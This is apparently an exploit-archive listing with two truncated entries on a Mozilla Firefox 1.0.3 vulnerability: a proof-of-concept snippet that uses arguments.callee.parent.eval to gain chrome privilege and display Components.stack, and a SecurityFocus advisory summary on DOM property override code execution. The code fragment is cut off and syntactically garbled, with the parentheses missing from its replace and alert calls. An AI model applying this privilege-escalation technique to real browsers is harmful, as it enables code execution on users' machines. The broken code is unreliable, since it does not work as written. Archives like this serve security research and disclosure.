firefoxSploit-2.txt

Proof-of-Concept for Firefox 1.0.3 - by mozbugra4 // it needs chrome privilege to get |Components.stack| var code = "alert'Exploit!\n\n' + Components.stack;"; var evalCode = code.replace/'/g, '"'.replace/\/g, '\\'; var scriptCode = "arguments.callee.parent.eval'" + evalCode + "';'';"; var...

Mozilla Suite And Firefox - DOM Property Overrides Code Execution

source: https://www.securityfocus.com/bid/13645/info Mozilla Suite and Mozilla Firefox are affected by a code-execution vulnerability. This issue is due to a failure in the application to properly verify Document Object Model DOM property values. An attacker may leverage this issue to execute...